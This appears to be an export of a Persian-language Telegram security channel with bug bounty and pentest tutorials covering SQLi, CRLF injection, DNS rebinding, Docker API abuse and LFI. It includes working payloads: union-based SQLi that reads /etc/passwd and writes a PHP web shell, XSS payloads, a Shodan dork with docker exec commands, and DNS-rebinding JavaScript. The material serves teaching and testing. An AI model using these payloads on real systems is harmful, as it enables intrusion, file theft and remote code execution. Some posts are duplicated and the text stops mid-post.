Bug Bounty Methodology =
وقتی تارگت به این شکله:
*.target.tld
باید subdomain هارو پیدا کنیم و همه اونارو تست کنیم. میتونیم با افزونه logger++ که برای burp هست قسمتی از کارمون رو راحت تر کنیم. اول باید هرچی subdomain داریم تو مرورگر باز کنیم و با functionality های مختلف از جمله login و register کار کنیم. بعد از کار کردن با functionality های مختلف میتونیم از این سرچ ها استفاده کنیم.
1⃣ پیدا کردن response هایی که حاوی اطلاعاتی مثل email خودمون هستند.
کاربرد: تست cors , cache deception , xssi روی این صفحات.
2⃣ پیدا کردن subdomain هایی که تو response های مختلف وجود دارند.
تو این قسمت ممکنه به subdomain های جدیدی برسیم.
3⃣ پیدا کردن email های متعلق به کمپانی که تو response های مختلف افشا شدند:
میتونیم Reverse whois روی email ها انجام بدیم و به دارایی های بیشتری از اون شرکت برسیم.
#vulnerability_hunting
#bug_bounty_methodology
وقتی تارگت به این شکله:
*.target.tld
باید subdomain هارو پیدا کنیم و همه اونارو تست کنیم. میتونیم با افزونه logger++ که برای burp هست قسمتی از کارمون رو راحت تر کنیم. اول باید هرچی subdomain داریم تو مرورگر باز کنیم و با functionality های مختلف از جمله login و register کار کنیم. بعد از کار کردن با functionality های مختلف میتونیم از این سرچ ها استفاده کنیم.
1⃣ پیدا کردن response هایی که حاوی اطلاعاتی مثل email خودمون هستند.
کاربرد: تست cors , cache deception , xssi روی این صفحات.
Response.Body CONTAINS "myemail@gmail.com"
2⃣ پیدا کردن subdomain هایی که تو response های مختلف وجود دارند.
Response.Body CONTAINS ".target.com"
تو این قسمت ممکنه به subdomain های جدیدی برسیم.
3⃣ پیدا کردن email های متعلق به کمپانی که تو response های مختلف افشا شدند:
Response.Body CONTAINS "@company-name.tld"
میتونیم Reverse whois روی email ها انجام بدیم و به دارایی های بیشتری از اون شرکت برسیم.
#vulnerability_hunting
#bug_bounty_methodology
🔥28👍4
آسیب پذیری SQL injection =
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
1⃣
بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
و XSS اتفاق میفته.
2⃣
با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
3⃣
با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
4⃣
با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
از اونجایی که هرکسی با مقدمات این آسیب پذیری و اکسپلویتش به روش union رو بلده، خودِ آسیب پذیری رو توضیح نمیدیم و مستقیم میریم سراغ نکاتی که در این آسیب پذیری باید رعایت کنیم.
فرض کنین که با order by تعداد column های وب سایت رو به دست آوردیم و دستور union select ما به این شکله:
app.php?id=-1 union select 1,2,3,4,5,6,7,8,9--
1⃣
تبدیل SQLi به XSS:بعد از مشاهده ی خروجی دستور union select میتونیم به جای عددهایی که تو خروجی به ما نشون داده میشه، پیلود XSS بزنیم. ولی باید پیلود رو به hex تبدیل کنیم و قبلش 0x رو قرار بدیم. برای مثال پیلود
<img/src/onerror=alert(document.domain)> وقتی تبدیل به hex میشه خروجی 3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e رو داریم. در نهایت پیلود ما به شکل زیر تغییر میکنه با اضافه کردن 0x قبل از مقدار hex.app.php?id=-1 union select 1,0x3c696d672f7372632f6f6e6572726f723d616c65727428646f63756d656e742e646f6d61696e293e,3,4,5,6,7,8,9--
و XSS اتفاق میفته.
2⃣
خوندن فایل های درون سرور:با دستور load_file میتونیم در mysql فایل بخونیم.
نکته: برای کار با فایل ها باید privilege لازم رو در دیتابیس و سیستم عامل داشته باشیم.
برای خوندن فایل passwd با SQLi:
app.php?id=-1 union select 1,load_file('/etc/passwd'),3,4,5,6,7,8,9--3⃣
ساختن و نوشتن فایل درون سرور:با دستور outfile میتونیم فایل بسازیم با محتوای دلخواه.
app.php?id=-1 union select 1,'hacked' into outfile '/tmp/hacked.txt',3,4,5,6,7,8,9--
نکته: میتونیم کد مخرب رو درون یه فایل php قرار بدیم و RCE بگیریم.
app.php?id=-1 union select 1,'<?php system($_GET['cmd']); ?>' into outfile '/var/www/html/shell.php',3,4,5,6,7,8,9--
واسه کار کردن این پیلود، همون طور که قبلا گفتیم باید دسترسی های لازم رو داشته باشیم. و همچنین باید فایل رو در مسیر وب سرور بسازیم که با مرورگر قابل دسترسی باشه و در آخر تنها باید فایل رو باز کنیم به شکل زیر:
shell.php?cmd=whoami
4⃣
دسترسی به سایر دیتابیس ها:با استفاده از دستورات زیر داخل select میتونیم یوزر و نام دیتابیس جاری رو به دست بیاریم.
database()
@@database
Version()
@@version
ممکنه یوزر sql ما به دیتابیس های بیشتری دسترسی داشته باشه در صورتی که خیلی وقتا فقط اطلاعات دیتابیس جاری رو dump میگیریم و اصلا سراغ بقیه دیتابیس ها نمیریم.
به دست آوردن لیست همه ی دیتابیس ها:
app.php?id=-1 union select 1,group_concat(schema_name),3,4,5,6,7,8,9 from information_schema.schemata--
بعد از انتخاب دیتابیس مدنظر، مراحل اکسپلویت رو به روش group_concat که در اکسپلویت های عادی هم استفاده میکنیم جلو میبریم با این تفاوت که به جای ()database در پیلود که به دیتابیس جاری اشاره میکند، اسم دیتابیسی که به دست آوردیم رو قرار میدیم.
#SQLi
🔥29👍1
آسیب پذیری CRLF injection =
اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
❓به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
❓چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:
1⃣ سواستفاده از CRLF برای bypass کردن:
اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript> ❌
</noscript%0a> ✅
2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)
3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:
نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.
#CRLF_injection
اگه هکر به عنوان user input به وب اپلیکیشن کاراکترهای CRLF یا همون
%0d%0a
رو تزریق کنه و وب اپلیکیشن رو تحت تاثیر قرار بده آسیب پذیری به وجود میاد.
❓به صورت کلی CRLF چیه؟ همون کلید Enterخودمون.
❓چه زمانی آسیب پذیری به وجود میاد؟ وقتی که ورودی کاربر به صورت ناامن در یک response Header قرار بگیرد.
پیش نیازها:
1. هر Header با Header بعدی با یک CRLF جدا میشود.کاربردها:
2. آخرین Header با Body با دو CRLF جدا میشود.
1. سواستفاده از CRLF برای bypass کردن.
2. اکسپلویت سایر آسیب پذیری ها.
3. به وجود آوردن آسیب پذیری های مختلف.
1⃣ سواستفاده از CRLF برای bypass کردن:
اگه تو حملات injection نیاز به bypass داشتیم میتونیم از CRLF استفاده کنیم. برای مثال در command injection میتونیم از 0a% به عنوان یک command separator استفاده کنیم وقتی که سایر command separator هایی مثل | در blacklist قرار دارند.
و یا در XSS وقتی نیاز به بستن تگ داریم برای اکسپلویت و اجازه نداریم تگ رو ببندیم، از CRLF برای bypass استفاده میکنیم.
</noscript> ❌
</noscript%0a> ✅
2⃣ اکسپلویت سایر آسیب پذیری ها:
وقتی آسیب پذیری تو header ها وجود داره، برای اکسپلویت باید از CRLF injection کمک بگیریم در غیر این صورت آسیب پذیری self هست.
برای مثال اگه مقدار هدر X-Forwarded-For تو صفحه reflect میشه و XSS میخوره، واسه اکسپلویت آسیب پذیری باید با یک CRLF injection ترکیب بشه(راه های دیگه ای هم برای اکسپلویت این نوع XSS وجود داره مثل cache poisoning)
3⃣ به وجود آوردن آسیب پذیری های مختلف:
اگه ورودی کاربر در Response Header ها قرار بگیره، میتونیم response در دستکاری کنیم و به آسیب پذیری های مختلفی برسیم. فرض کنین که ورودی کاربر در قالب پارامتر username در cookie قرار میگیرد، ما میتونیم با دوتا CRLF زدن، Body رو کنترل کنیم و پیلود XSS خودمون رو قرار بدیم:
app.php?username=salam%0d%0a%0d%0a<img src=x onerror=alert()>
نکته آخر:
ممکنه بتونیم با این آسیب پذیری response هدر های امنیتی رو غیر فعال یا بازنویسی کنیم در مرورگر قربانی.
#CRLF_injection
🔥25👍9❤1
https://beaglesecurity.com/blog/tag/vulnerability/
یک منبع خوب برای آشنایی با حملات مختلف(خلاصه میگه و به هر کدوم که علاقه مند بودین باید بیشتر دربارش بخونین)
#resource
یک منبع خوب برای آشنایی با حملات مختلف(خلاصه میگه و به هر کدوم که علاقه مند بودین باید بیشتر دربارش بخونین)
#resource
Beagle Security
Beagle Security: Web Application & API Penetration Testing Tool
Beagle Security helps identify vulnerabilities in your web apps, APIs & GraphQL and remediate them with actionable insights before hackers harm you in any manner.
🔥8👍3❤1
تکنیک Reverse MX lookup =
یکی از تکنیک هایی که برای wide recon استفاده میشه reverse mx lookup هست که ممکنه خطای زیادی هم داشته باشه. میتونیم با این کار همه ی دامنه هایی که از یک Mail server استفاده میکنند رو شناسایی کنیم و این احتمال وجود داره که بعضی از دامنه ها زیرمجموعه ی تارگت ما باشند.
میتونیم با دستور زیر MX رکورد دامنه رو به دست بیاریم:
و خروجی ما به این صورته:
و باید mxa-000c7201.gslb.pphosted.com رو تو سایت هایی که برای ما reverse mx lookup انجام میدن سرچ کنیم، که https://viewdns.info/reversemx/ یکی از سایت های خوب تو این زمینس.
#wide_recon
یکی از تکنیک هایی که برای wide recon استفاده میشه reverse mx lookup هست که ممکنه خطای زیادی هم داشته باشه. میتونیم با این کار همه ی دامنه هایی که از یک Mail server استفاده میکنند رو شناسایی کنیم و این احتمال وجود داره که بعضی از دامنه ها زیرمجموعه ی تارگت ما باشند.
میتونیم با دستور زیر MX رکورد دامنه رو به دست بیاریم:
dig MX +short walmart.com
و خروجی ما به این صورته:
10 mxa-000c7201.gslb.pphosted.com.
10 mxb-000c7201.gslb.pphosted.com.
و باید mxa-000c7201.gslb.pphosted.com رو تو سایت هایی که برای ما reverse mx lookup انجام میدن سرچ کنیم، که https://viewdns.info/reversemx/ یکی از سایت های خوب تو این زمینس.
#wide_recon
🔥5
Methodology
Reverse Proxy Testing
Cloud-Specific Testing
Web Server Testing
Domain Name System (DNS) Testing
Global Application Config Testing
Server-Side Codebase Testing
Database Operation Testing
External Identity Access Management (IAM) Testing
Public Repository & OSINT Testing
#Methodology
Reverse Proxy Testing
Abusing Hop Headers
Web Cache Poisoning
Web Cache Deception
HTTP Request Smuggling
H2C Smuggling
XSLT Server-Side Injection
Edge Side Inclusion (ESI) Injection
Host Header Poisoning
IP Address Spoofing
Cloud-Specific Testing
AWS S3 Bucket Misconfiguration
AWS CloudFront Misconfiguration
AWS IAM/STS Misconfiguration
AWS Elastic Beanstalk Misconfiguration
AWS API Gateway Misconfiguration
AWS Cognito Misconfiguration
AWS Exposed Sensitive DocumentDB
AWS EC2 Misconfiguration
AWS SNS Misconfiguration
AWS RDS Misconfiguration
Web Server Testing
Common Vulnerabilities and Exposures (CVE's)
Exposed Configuration Files
Server Side Includes (SSI) Injection
Information Disclosure
Domain Name System (DNS) Testing
DNS Rebinding
Subdomain Takeover
Global Application Config Testing
Content Security Policy (CSP)Client-Side Codebase Testing
Cross-Origin Resource Sharing (CORS)
Dependency Confusion / Abuse
JSON Web Token (JWT) Misconfiguration
Missing Security Headers
Content Injection
Reflected Cross-Site Scription (XSS)
Stored Cross-Site Scripting (XSS)
Blind Cross-Site Scripting (XSS)
Dangling Markup
Client-Side JavaScript Injection
Client-Side Prototype Pollution (CSPP)
DOM-Based Cross-Site Scription (XSS)
DOM-Based Open Redirect
Client-Side Template Injection (CSTI)
PostMessage Vulnerabilities
Information Disclosure
Privileged Credentials Exposed
Insecure Data Storage
Client-Side Denial of Service (DoS) / Breaking The DOM
Server-Side Codebase Testing
Command Injection
Code Injection
Insecure Deserialization
LDAP Injection
Server-Side Request Forgery (SSRF)
File Inclusion / Path Traversal
XPATH Injection
Unrestricted File Upload
Web Shell via File Upload
Server-Side Template Injection (SSTI)
Server-Side Prototype Pollution (SSPP)
XML External Entity (XXE)
WebSocket Injection
Database Operation Testing
SQL Injection
NoSQL Injection
GraphQL Injection
Denial of Service (DoS)
Information Disclosure
External Identity Access Management (IAM) Testing
OAuth MisconfigurationApplication Logic Testing
Security Assertion Markup Language (SAML) Misconfiguration
Google Firebase IAM Misconfiguration
Keycloak IAM Misconfiguration
Indirect Object Reference (IDOR)
Insufficient Access Controls
Bypass Access Controls
2FA/MFA Bypass
Captcha Bypass
Rate Limiting / Brute-force Protection Bypass
Bypass Registration Restrictions
Bypass Payment Process Restrictions
Bypass Authentication Restrictions
Bypass Password Reset Restrictions
Race Conditions
Username Enumeration
Public Repository & OSINT Testing
Internal Source Code on Public Repository
Internal/Privileged Credentials on Public GitHub Repository
Internal Source Code Found in Web Scraping
Internal/Privileged Credentials Found in Web Scraping
#Methodology
امنیت اپلیکیشن قسمت سوم =
نمونه کد زیر رو در نظر بگیرین:
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
بله. به غیر از آسیب پذیری هایی مثل RCE و Command injection، آسیب پذیری دیگه ای هم وجود داره که میتونه منجر به افشای environment variable های سامانه بشه که در آینده بهش اشاره میکنیم. اما احتمال وجود این آسیب پذیری از stack trace error و افشای source code خیلی کمتره پس این روش امنیت بیشتری از روش سنتی داره.
#application_security
نمونه کد زیر رو در نظر بگیرین:
<?php
$servername = "localhost";
$username = "root";
$password = "pa@@w0rd";
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed"); mysqli_connect_error());
}
echo "Connected successfully";
?>
بنظر میرسه کد آسیب پذیری خاصی نداره، ولی همون طور که مشخصه پسورد مربوط به دیتابیس در source code وجود داره، با یه آسیب پذیری ساده مثل stack trace error یا افشای source code سامانه داخل گیت هاب، پسورد مربوط به دیتابیس به سادگی افشا میشه.
پس پسورد ها و API-Key های مهم نباید داخل source code به صورت hard code شده قرار بگیرن. بلکه باید داخل environment variable ها قرار بگیرن که اگه source code سمت سرور هم افشا شد، پسورد ها و API-Key ها افشا نشن.
کد زیر نسخه امن تر کد بالا هست:
<?php
$servername = "localhost";
$username = "root";
$password = getenv('DB_PASSWORD');
$dbname = "database_name";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Database connection failed.");
}
echo "Connected successfully";
mysqli_close($conn);
?>
در کد بالا از تابع ()getenv استفاده شده که برای دسترسی به environment variable های سرور استفاده میشه.
نکته مهم: اگر فایل env. در سامانه وجود دارد، کاربر نباید سطح دسترسی لازم برای مشاهده این فایلو داشته باشد.
❓آیا ممکنه environment variable های سامانه افشا بشه؟
#application_security
👍2
آسیب پذیری DNS Rebinding =
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗مراحل DNS rebinding برای بایپس SSRF :
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
#DNS_Rebinding
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗مراحل DNS rebinding برای بایپس SSRF :
1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
https://lock.cmpxchg8b.com/rebinder.html
#DNS_Rebinding
❤1
2️⃣ استفاده از DNS Rebinding برای بایپس SOP :
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗فلوی بایپس SOP با DNS Rebinding :
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
❗چند تا نکته مهم :
#DNS_Rebinding
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗فلوی بایپس SOP با DNS Rebinding :
1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.
function attemptRequest() {
const xhr = new XMLHttpRequest();
xhr.open('GET', `http://attacker.com/sensitive_information_path`, true);
xhr.onload = function () {
console.log('Response:', xhr.responseText);
};
xhr.onerror = function () {
console.log('Request failed');
};
xhr.send();
}
setTimeout(attemptRequest, 5000);کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
sensitive_information_path به 192.168.1.20 ارسال میکنه که حاوی اطلاعات حیاتی این سرویس هست و هکر میتونه این اطلاعات رو با XHR برای سرور خودش ارسال کنه. اگه DNS rebinding با موفقیت انجام بشه دیگه cross origin نیستیم و same origin هستیم.❗چند تا نکته مهم :
1. هکر میدونست چه سرویسی روی شبکه داخلی قربانی نصب هست. و بخاطر همین میدونست endpoint حساسش چیه.⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
2. باید دامنه هکر رو دقیقا به همون آیپی که روی آن web application نصب شده resolve کنیم.
3. اگه وب اپلیکیشن داخلی روی پورت خاصی هست، ماهم باید به اون پورت درخواست ارسال کنیم.
1. وقتی authentication نیاز باشه.
2. وقتی روی 192.168.1.20 SSL/TLS وجود داشته باشه.(بخاطر مچ نشدن certificate جلوی حمله گرفته میشه)
#DNS_Rebinding
Docker Exploit =
داکر deamon یه سرویس برای مدیریت image و container های داکر هست.
برای برقراری ارتباط با docker deamon میتونیم از docker api استفاده کنیم که روی پورت 2376/2375 کار میکنه.
پس اگه این API فعال باشه و هیچ authenticationی نداشته باشه میتونیم ازش دسترسی بگیریم.
دورک shodan برای پیدا کردن docker API ها:
با دستور زیر بهش وصل میشیم و لیست container هارو به دست میاریم:
با دستور exec -I میتونیم روی container مدنظر دستورهای خودمون رو اجرا کنیم (در صورتی که container فعال باشه و پسورد نداشته باشه):
در نهایت دسترسی command execution خواهیم داشت!
#docker
داکر deamon یه سرویس برای مدیریت image و container های داکر هست.
برای برقراری ارتباط با docker deamon میتونیم از docker api استفاده کنیم که روی پورت 2376/2375 کار میکنه.
پس اگه این API فعال باشه و هیچ authenticationی نداشته باشه میتونیم ازش دسترسی بگیریم.
دورک shodan برای پیدا کردن docker API ها:
product:"docker" port:"2375"
با دستور زیر بهش وصل میشیم و لیست container هارو به دست میاریم:
docker -H 127.0.0.1:2375 ps -a
با دستور exec -I میتونیم روی container مدنظر دستورهای خودمون رو اجرا کنیم (در صورتی که container فعال باشه و پسورد نداشته باشه):
docker -H 127.0.0.1:2375 exec -i [CONTAINER-ID] [COMMAND]
در نهایت دسترسی command execution خواهیم داشت!
#docker
🔥3
API Fuzzing Tips =
معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action
#API_fuzzing
معمولا تو REST API ها تو URL ورژن رو هم نشون میده به این صورت
/API/v3/action
یکی از تست کیس هایی که وجود داره اینه که باید ورژن API رو کم کنیم چون ممکنه هنوز فعال باشه و آسیب پذیری داشته باشه در صورتی که API فعلی امنه.
اگه v2 و v1 رو امتحان کردین وجود نداشت، به این صورت تست کنین:
/API/v1.0/action
/API/v2.0/action
#API_fuzzing
1⃣ آسیب پذیری LFI =
وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.
2⃣ آسیب پذیری path/Directory traversal =
مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.
3⃣ پس LFI همون path/Directory traversal هست❓
در صورتی که خیلی از منابع معتبر این دوتا رو یکی میدونن، این دوتا آسیب پذیری های متفاوتی هستند. در path/Directory traversal فقط میتونیم بین فایل ها و دایرکتوری های مختلف حرکت کنیم. اما در LFI علاوه بر مورد قبلی، تابع آسیب پذیر قابلیت اجرایی دارد. فرضا اگر فایلی حاوی تکه کد مخرب که با زبان برنامه نویسی سمت backend نوشته شده به عنوان ورودی به تابع آسیب پذیر داده شود اون کد اجرا خواهد شد. به این تکنیک تو LFI میگن log poisoning.
وقتی ورودی کاربر به عنوان یک فایل فراخوانی میشه داخل صفحه فعلی آسیب پذیری LFI به وجود میاد.
2⃣ آسیب پذیری path/Directory traversal =
مثل آسیب پذیری LFI وقتی به وجود میاد که کاربر بتونه بین فایل و دایرکتوری های مختلف حرکت کنه.
3⃣ پس LFI همون path/Directory traversal هست❓
4⃣ توضیح کامل آسیب پذیری LFI =
شبه کد آسیب پذیر با PHP به LFI 👇
وقتی کد بالا استفاده بشه، با URL زیر میتونیم بهش مقدار بدیم :
در URL بالا فایل news.php داخل فایل index.php فراخوانی شده است. برای بهتره برداری ازش در مرحله اول باید سعی کنیم فایل passwd را بخوانیم.
5⃣ استفاده از Wrapper ها =
در LFI میتونیم از wrapper ها هم استفاده کنیم. از Wrapper زیر برای خوندن فایل استفاده میشه که میتونیم باهاش کد های وب سایت رو بخونیم.
خروجی به صورت base64 هست و باید decode بشه.
6⃣ تبدیل LFI به RCE =
روش های مختلفی برای تبدیل LFI به RCE وجود دارد مثل :
1) Expect Wrapper
2) Input Wrapper
3) Log Poisoning
4) phpinfo in php
5) Chain LFI & SQLi
6) PHP Session
7) Chain LFI & RFU
1⃣⏺6⃣ تکنیک Log Poisoning :
